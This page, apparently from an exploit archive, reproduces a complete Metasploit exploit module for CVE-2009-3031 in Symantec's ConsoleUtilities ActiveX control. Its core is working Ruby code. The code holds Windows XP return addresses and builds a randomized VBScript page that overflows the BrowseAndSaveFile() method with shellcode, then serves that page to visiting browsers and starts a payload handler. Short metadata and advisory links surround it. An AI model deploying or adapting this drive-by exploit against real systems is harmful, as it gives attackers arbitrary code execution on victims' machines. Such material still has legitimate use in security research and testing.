Symantec ConsoleUtilities ActiveX Buffer Overflow

🗓️ 02 Nov 2009 00:00:00Reported by Nikolas RangosType

zdt🔗 0day.today👁 26 Views

Symantec ConsoleUtilities ActiveX Buffer Overflow exploit allows arbitrary code execution by sending a long string to "BrowseAndSaveFile()" method in AeXNSConsoleUtilities.dll (6.0.0.1846) Control

Reporter	Title	Published	Views	Family All 24
Tenable Nessus	Altiris ConsoleUtilities 'BrowseAndSaveFile()' ActiveX Control Buffer Overflow	4 Nov 200900:00	–	nessus
Circl	CVE-2009-3031	2 Nov 200900:00	–	circl
Check Point Advisories	Symantec Multiple Products AeXNSConsoleUtilities Buffer Overflow (CVE-2009-3031; CVE-2009-3033)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2009-3031	3 Nov 200916:00	–	cve
Cvelist	CVE-2009-3031	3 Nov 200916:00	–	cvelist
Exploit DB	Symantec ConsoleUtilities - ActiveX Control Buffer Overflow (Metasploit)	11 Nov 201000:00	–	exploitdb
Exploit DB	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitdb
exploitpack	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitpack
Metasploit	Symantec ConsoleUtilities ActiveX Control Buffer Overflow	2 Nov 200921:02	–	metasploit
NVD	CVE-2009-3031	3 Nov 200916:30	–	nvd

=================================================
Symantec ConsoleUtilities ActiveX Buffer Overflow
=================================================



# Title: Symantec ConsoleUtilities ActiveX Buffer Overflow
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Nikolas Sotiriu
# Published: 2009-11-02
# Verified: yes


view source
print?
##
# Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.
##
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
 
        include Msf::Exploit::Remote::HttpServer::HTML
 
        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in Symantecs ConsoleUtilities.
                                        By sending an overly long string to the "BrowseAndSaveFile()" method located
                                        in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
                                        execute arbitrary code.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
                        'Version'        => '1.0',
                        'References'     =>
                                [
                                        [ 'CVE', '2009-3031'],
                                        [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
                                        [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'         => 1000,
                                        'BadChars'      => "\x00",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                    [ 'Windows XP SP2 Universal',       { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
                    [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
                    [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
                                ],
                        'DisclosureDate' => 'Nov 02 2009',
                        'DefaultTarget'  => 0))
        end
 
        def autofilter
                        false
        end
 
        def check_dependencies
                        use_zlib
        end
 
        def on_request_uri(cli, request)
                # Re-generate the payload
                return if ((p = regenerate_payload(cli)) == nil)
 
                # Randomize variables
                vname   = rand_text_alpha(rand(20) + 1)
                junk    = rand_text_alpha(rand(20) + 1)
                eip     = rand_text_alpha(rand(20) + 1)
                morejunk = rand_text_alpha(rand(20) + 1)
                sc      = rand_text_alpha(rand(20) + 1)
                buf = rand_text_alpha(rand(20) + 1)
 
 
                # Set RET and shellcode
                ret = Rex::Text.to_unescape([target.ret].pack('V'))
                shellcode = Rex::Text.to_unescape(p.encoded)
 
                # Build the Site
                content = %Q|
                        <html>
                        <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
                        <script language='vbscript'>
                        arg1 = ""
                        arg3 = ""
                        arg4 = ""
                        arg5 = ""
 
                        #{junk}=String(310, "A")
                        #{eip}=unescape("#{ret}")
                        #{morejunk}=String(18, unescape("%u0041"))
                        #{sc}=unescape("#{shellcode}")
 
                        #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
                        #{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5
                        </script>
                        </html>
                  |
 
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
 
                # Transmit the response to the client
                send_response_html(cli, content)
 
                # Handle the payload
                handler(cli)
        end
 
end



#  0day.today [2018-01-24]  #

02 Nov 2009 00:00Current

7.1High risk

Vulners AI Score7.1

EPSS0.76639